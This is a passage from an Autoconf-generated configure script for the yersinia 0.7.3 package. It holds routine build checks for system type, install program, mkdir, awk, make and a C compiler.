"x$prefix" != xNONE; then ac_site_file1=$prefix/share/config.site ac_site_file2=$prefix/etc/config.site else ac_site_file1=$ac_default_prefix/share/config.site ac_site_file2=$ac_default_prefix/etc/config.site fi for ac_site_file in "$ac_site_file1" "$ac_site_file2" do test "x$ac_site_file" = xNONE && continue if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 $as_echo "$as_me: loading site script $ac_site_file" >&6;} sed 's/^/| /' "$ac_site_file" >&5 . "$ac_site_file" \ || { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "failed to load site script $ac_site_file See \`config.log' for more details" "$LINENO" 5; } fi done if test -r "$cache_file"; then # Some versions of bash will fail to source /dev/null (special files # actually), so we avoid doing that. DJGPP emulates it as a regular file. if test /dev/null != "$cache_file" && test -f "$cache_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 $as_echo "$as_me: loading cache $cache_file" >&6;} case $cache_file in [\\/]* | ?:[\\/]* ) . "$cache_file";; *) . "./$cache_file";; esac fi else { $as_echo "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 $as_echo "$as_me: creating cache $cache_file" >&6;} >$cache_file fi # Check that the precious variables saved in the cache have kept the same # value. ac_cache_corrupted=false for ac_var in $ac_precious_vars; do eval ac_old_set=\$ac_cv_env_${ac_var}_set eval ac_new_set=\$ac_env_${ac_var}_set eval ac_old_val=\$ac_cv_env_${ac_var}_value eval ac_new_val=\$ac_env_${ac_var}_value case $ac_old_set,$ac_new_set in set,) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} ac_cache_corrupted=: ;; ,set) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was not set in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} ac_cache_corrupted=: ;; ,);; *) if test "x$ac_old_val" != "x$ac_new_val"; then # differences in whitespace do not lead to failure. ac_old_val_w=`echo x $ac_old_val` ac_new_val_w=`echo x $ac_new_val` if test "$ac_old_val_w" != "$ac_new_val_w"; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' has changed since the previous run:" >&5 $as_echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} ac_cache_corrupted=: else { $as_echo "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 $as_echo "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} eval $ac_var=\$ac_old_val fi { $as_echo "$as_me:${as_lineno-$LINENO}: former value: \`$ac_old_val'" >&5 $as_echo "$as_me: former value: \`$ac_old_val'" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: current value: \`$ac_new_val'" >&5 $as_echo "$as_me: current value: \`$ac_new_val'" >&2;} fi;; esac # Pass precious variables to config.status. if test "$ac_new_set" = set; then case $ac_new_val in *\'*) ac_arg=$ac_var=`$as_echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; *) ac_arg=$ac_var=$ac_new_val ;; esac case " $ac_configure_args " in *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. *) as_fn_append ac_configure_args " '$ac_arg'" ;; esac fi done if $ac_cache_corrupted; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 $as_echo "$as_me: error: changes in the environment can compromise the build" >&2;} as_fn_error $? "run \`make distclean' and/or \`rm $cache_file' and start over" "$LINENO" 5 fi ## -------------------- ## ## Main body of script. ## ## -------------------- ## ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_config_headers="$ac_config_headers src/config.h" ac_aux_dir= for ac_dir in "$srcdir" "$srcdir/.." "$srcdir/../.."; do if test -f "$ac_dir/install-sh"; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/install-sh -c" break elif test -f "$ac_dir/install.sh"; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/install.sh -c" break elif test -f "$ac_dir/shtool"; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/shtool install -c" break fi done if test -z "$ac_aux_dir"; then as_fn_error $? "cannot find install-sh, install.sh, or shtool in \"$srcdir\" \"$srcdir/..\" \"$srcdir/../..\"" "$LINENO" 5 fi # These three variables are undocumented and unsupported, # and are intended to be withdrawn in a future Autoconf release. # They can cause serious problems if a builder's source tree is in a directory # whose full name contains unusual characters. ac_config_guess="$SHELL $ac_aux_dir/config.guess" # Please don't use this var. ac_config_sub="$SHELL $ac_aux_dir/config.sub" # Please don't use this var. ac_configure="$SHELL $ac_aux_dir/configure" # Please don't use this var. # Make sure we can run config.sub. $SHELL "$ac_aux_dir/config.sub" sun4 >/dev/null 2>&1 || as_fn_error $? "cannot run $SHELL $ac_aux_dir/config.sub" "$LINENO" 5 { $as_echo "$as_me:${as_lineno-$LINENO}: checking build system type" >&5 $as_echo_n "checking build system type... " >&6; } if ${ac_cv_build+:} false; then : $as_echo_n "(cached) " >&6 else ac_build_alias=$build_alias test "x$ac_build_alias" = x && ac_build_alias=`$SHELL "$ac_aux_dir/config.guess"` test "x$ac_build_alias" = x && as_fn_error $? "cannot guess build type; you must specify one" "$LINENO" 5 ac_cv_build=`$SHELL "$ac_aux_dir/config.sub" $ac_build_alias` || as_fn_error $? "$SHELL $ac_aux_dir/config.sub $ac_build_alias failed" "$LINENO" 5 fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_build" >&5 $as_echo "$ac_cv_build" >&6; } case $ac_cv_build in *-*-*) ;; *) as_fn_error $? "invalid value of canonical build" "$LINENO" 5;; esac build=$ac_cv_build ac_save_IFS=$IFS; IFS='-' set x $ac_cv_build shift build_cpu=$1 build_vendor=$2 shift; shift # Remember, the first character of IFS is used to create $*, # except with old shells: build_os=$* IFS=$ac_save_IFS case $build_os in *\ *) build_os=`echo "$build_os" | sed 's/ /-/g'`;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking host system type" >&5 $as_echo_n "checking host system type... " >&6; } if ${ac_cv_host+:} false; then : $as_echo_n "(cached) " >&6 else if test "x$host_alias" = x; then ac_cv_host=$ac_cv_build else ac_cv_host=`$SHELL "$ac_aux_dir/config.sub" $host_alias` || as_fn_error $? "$SHELL $ac_aux_dir/config.sub $host_alias failed" "$LINENO" 5 fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_host" >&5 $as_echo "$ac_cv_host" >&6; } case $ac_cv_host in *-*-*) ;; *) as_fn_error $? "invalid value of canonical host" "$LINENO" 5;; esac host=$ac_cv_host ac_save_IFS=$IFS; IFS='-' set x $ac_cv_host shift host_cpu=$1 host_vendor=$2 shift; shift # Remember, the first character of IFS is used to create $*, # except with old shells: host_os=$* IFS=$ac_save_IFS case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking target system type" >&5 $as_echo_n "checking target system type... " >&6; } if ${ac_cv_target+:} false; then : $as_echo_n "(cached) " >&6 else if test "x$target_alias" = x; then ac_cv_target=$ac_cv_host else ac_cv_target=`$SHELL "$ac_aux_dir/config.sub" $target_alias` || as_fn_error $? "$SHELL $ac_aux_dir/config.sub $target_alias failed" "$LINENO" 5 fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_target" >&5 $as_echo "$ac_cv_target" >&6; } case $ac_cv_target in *-*-*) ;; *) as_fn_error $? "invalid value of canonical target" "$LINENO" 5;; esac target=$ac_cv_target ac_save_IFS=$IFS; IFS='-' set x $ac_cv_target shift target_cpu=$1 target_vendor=$2 shift; shift # Remember, the first character of IFS is used to create $*, # except with old shells: target_os=$* IFS=$ac_save_IFS case $target_os in *\ *) target_os=`echo "$target_os" | sed 's/ /-/g'`;; esac # The aliases save the names the user supplied, while $host etc. # will get canonicalized. test -n "$target_alias" && test "$program_prefix$program_suffix$program_transform_name" = \ NONENONEs,x,x, && program_prefix=${target_alias}- am__api_version='1.11' # Find a good install program. We prefer a C program (faster), # so one script is as good as another. But avoid the broken or # incompatible versions: # SysV /etc/install, /usr/sbin/install # SunOS /usr/etc/install # IRIX /sbin/install # AIX /bin/install # AmigaOS /C/install, which installs bootblocks on floppy discs # AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag # AFS /usr/afsws/bin/install, which mishandles nonexistent args # SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" # OS/2's system install, which has a completely different semantic # ./install, which can be erroneously created by make from ./install.sh. # Reject install programs that cannot install multiple files. { $as_echo "$as_me:${as_lineno-$LINENO}: checking for a BSD-compatible install" >&5 $as_echo_n "checking for a BSD-compatible install... " >&6; } if test -z "$INSTALL"; then if ${ac_cv_path_install+:} false; then : $as_echo_n "(cached) " >&6 else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. # Account for people who put trailing slashes in PATH elements. case $as_dir/ in #(( ./ | .// | /[cC]/* | \ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ ?:[\\/]os2[\\/]install[\\/]* | ?:[\\/]OS2[\\/]INSTALL[\\/]* | \ /usr/ucb/* ) ;; *) # OSF1 and SCO ODT 3.0 have their own names for install. # Don't use installbsd from OSF since it installs stuff as root # by default. for ac_prog in ginstall scoinst install; do for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; }; then if test $ac_prog = install && grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # AIX install. It has an incompatible calling convention. : elif test $ac_prog = install && grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then # program-specific install script used by HP pwplus--don't use. : else rm -rf conftest.one conftest.two conftest.dir echo one > conftest.one echo two > conftest.two mkdir conftest.dir if "$as_dir/$ac_prog$ac_exec_ext" -c conftest.one conftest.two "`pwd`/conftest.dir" && test -s conftest.one && test -s conftest.two && test -s conftest.dir/conftest.one && test -s conftest.dir/conftest.two then ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" break 3 fi fi fi done done ;; esac done IFS=$as_save_IFS rm -rf conftest.one conftest.two conftest.dir fi if test "${ac_cv_path_install+set}" = set; then INSTALL=$ac_cv_path_install else # As a last resort, use the slow shell script. Don't cache a # value for INSTALL within a source directory, because that will # break other packages using the cache if that directory is # removed, or if the value is a relative name. INSTALL=$ac_install_sh fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $INSTALL" >&5 $as_echo "$INSTALL" >&6; } # Use test -z because SunOS4 sh mishandles braces in ${var-val}. # It thinks the first close brace ends the variable substitution. test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether build environment is sane" >&5 $as_echo_n "checking whether build environment is sane... " >&6; } # Just in case sleep 1 echo timestamp > conftest.file # Reject unsafe characters in $srcdir or the absolute working directory # name. Accept space and tab only in the latter. am_lf=' ' case `pwd` in *[\\\"\#\$\&\'\`$am_lf]*) as_fn_error $? "unsafe absolute working directory name" "$LINENO" 5;; esac case $srcdir in *[\\\"\#\$\&\'\`$am_lf\ \ ]*) as_fn_error $? "unsafe srcdir value: \`$srcdir'" "$LINENO" 5;; esac # Do `set' in a subshell so we don't clobber the current shell's # arguments. Must try -L first in case configure is actually a # symlink; some systems play weird games with the mod time of symlinks # (eg FreeBSD returns the mod time of the symlink's containing # directory). if ( set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` if test "$*" = "X"; then # -L didn't work. set X `ls -t "$srcdir/configure" conftest.file` fi rm -f conftest.file if test "$*" != "X $srcdir/configure conftest.file" \ && test "$*" != "X conftest.file $srcdir/configure"; then # If neither matched, then we have a broken ls. This can happen # if, for instance, CONFIG_SHELL is bash and it inherits a # broken ls alias from the environment. This has actually # happened. Such a system could not be considered "sane". as_fn_error $? "ls -t appears to fail. Make sure there is not a broken alias in your environment" "$LINENO" 5 fi test "$2" = conftest.file ) then # Ok. : else as_fn_error $? "newly created file is older than distributed files! Check your system clock" "$LINENO" 5 fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } test "$program_prefix" != NONE && program_transform_name="s&^&$program_prefix&;$program_transform_name" # Use a double $ so make ignores it. test "$program_suffix" != NONE && program_transform_name="s&\$&$program_suffix&;$program_transform_name" # Double any \ or $. # By default was `s,x,x', remove it if useless. ac_script='s/[\\$]/&&/g;s/;s,x,x,$//' program_transform_name=`$as_echo "$program_transform_name" | sed "$ac_script"` # expand $ac_aux_dir to an absolute path am_aux_dir=`cd $ac_aux_dir && pwd` if test x"${MISSING+set}" != xset; then case $am_aux_dir in *\ * | *\ *) MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;; *) MISSING="\${SHELL} $am_aux_dir/missing" ;; esac fi # Use eval to expand $SHELL if eval "$MISSING --run true"; then am_missing_run="$MISSING --run " else am_missing_run= { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`missing' script is too old or missing" >&5 $as_echo "$as_me: WARNING: \`missing' script is too old or missing" >&2;} fi if test x"${install_sh}" != xset; then case $am_aux_dir in *\ * | *\ *) install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; *) install_sh="\${SHELL} $am_aux_dir/install-sh" esac fi # Installed binaries are usually stripped using `strip' when the user # run `make install-strip'. However `strip' might not be the right # tool to use in cross-compilation environments, therefore Automake # will honor the `STRIP' environment variable to overrule this program. if test "$cross_compiling" != no; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. set dummy ${ac_tool_prefix}strip; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_STRIP+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$STRIP"; then ac_cv_prog_STRIP="$STRIP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_STRIP="${ac_tool_prefix}strip" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi STRIP=$ac_cv_prog_STRIP if test -n "$STRIP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 $as_echo "$STRIP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_STRIP"; then ac_ct_STRIP=$STRIP # Extract the first word of "strip", so it can be a program name with args. set dummy strip; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ac_ct_STRIP+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_STRIP"; then ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_STRIP="strip" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP if test -n "$ac_ct_STRIP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 $as_echo "$ac_ct_STRIP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_STRIP" = x; then STRIP=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac STRIP=$ac_ct_STRIP fi else STRIP="$ac_cv_prog_STRIP" fi fi INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for a thread-safe mkdir -p" >&5 $as_echo_n "checking for a thread-safe mkdir -p... " >&6; } if test -z "$MKDIR_P"; then if ${ac_cv_path_mkdir+:} false; then : $as_echo_n "(cached) " >&6 else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/opt/sfw/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in mkdir gmkdir; do for ac_exec_ext in '' $ac_executable_extensions; do { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; } || continue case `"$as_dir/$ac_prog$ac_exec_ext" --version 2>&1` in #( 'mkdir (GNU coreutils) '* | \ 'mkdir (coreutils) '* | \ 'mkdir (fileutils) '4.1*) ac_cv_path_mkdir=$as_dir/$ac_prog$ac_exec_ext break 3;; esac done done done IFS=$as_save_IFS fi test -d ./--version && rmdir ./--version if test "${ac_cv_path_mkdir+set}" = set; then MKDIR_P="$ac_cv_path_mkdir -p" else # As a last resort, use the slow shell script. Don't cache a # value for MKDIR_P within a source directory, because that will # break other packages using the cache if that directory is # removed, or if the value is a relative name. MKDIR_P="$ac_install_sh -d" fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MKDIR_P" >&5 $as_echo "$MKDIR_P" >&6; } mkdir_p="$MKDIR_P" case $mkdir_p in [\\/$]* | ?:[\\/]*) ;; */*) mkdir_p="\$(top_builddir)/$mkdir_p" ;; esac for ac_prog in gawk mawk nawk awk do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_AWK+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$AWK"; then ac_cv_prog_AWK="$AWK" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_AWK="$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi AWK=$ac_cv_prog_AWK if test -n "$AWK"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AWK" >&5 $as_echo "$AWK" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$AWK" && break done { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} sets \$(MAKE)" >&5 $as_echo_n "checking whether ${MAKE-make} sets \$(MAKE)... " >&6; } set x ${MAKE-make} ac_make=`$as_echo "$2" | sed 's/+/p/g; s/[^a-zA-Z0-9_]/_/g'` if eval \${ac_cv_prog_make_${ac_make}_set+:} false; then : $as_echo_n "(cached) " >&6 else cat >conftest.make <<\_ACEOF SHELL = /bin/sh all: @echo '@@@%%%=$(MAKE)=@@@%%%' _ACEOF # GNU make sometimes prints "make[1]: Entering ...", which would confuse us. case `${MAKE-make} -f conftest.make 2>/dev/null` in *@@@%%%=?*=@@@%%%*) eval ac_cv_prog_make_${ac_make}_set=yes;; *) eval ac_cv_prog_make_${ac_make}_set=no;; esac rm -f conftest.make fi if eval test \$ac_cv_prog_make_${ac_make}_set = yes; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } SET_MAKE= else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } SET_MAKE="MAKE=${MAKE-make}" fi rm -rf .tst 2>/dev/null mkdir .tst 2>/dev/null if test -d .tst; then am__leading_dot=. else am__leading_dot=_ fi rmdir .tst 2>/dev/null if test "`cd $srcdir && pwd`" != "`pwd`"; then # Use -I$(srcdir) only when $(srcdir) != ., so that make's output # is not polluted with repeated "-I." am__isrc=' -I$(srcdir)' # test to see if srcdir already configured if test -f $srcdir/config.status; then as_fn_error $? "source directory already configured; run \"make distclean\" there first" "$LINENO" 5 fi fi # test whether we have cygpath if test -z "$CYGPATH_W"; then if (cygpath --version) >/dev/null 2>/dev/null; then CYGPATH_W='cygpath -w' else CYGPATH_W=echo fi fi # Define the identity of the package. PACKAGE=yersinia VERSION=0.7.3 cat >>confdefs.h <<_ACEOF #define PACKAGE "$PACKAGE" _ACEOF cat >>confdefs.h <<_ACEOF #define VERSION "$VERSION" _ACEOF # Some tools Automake needs. ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"} AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"} MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"} # We need awk for the "check" target. The system "awk" is bad on # some platforms. # Always define AMTAR for backward compatibility. Yes, it's still used # in the wild :-( We should find a proper way to deprecate it ... AMTAR='$${TAR-tar}' am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -' ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. set dummy ${ac_tool_prefix}gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="${ac_tool_prefix}gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ac_ct_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_CC="gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="${ac_tool_prefix}cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl.exe do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi 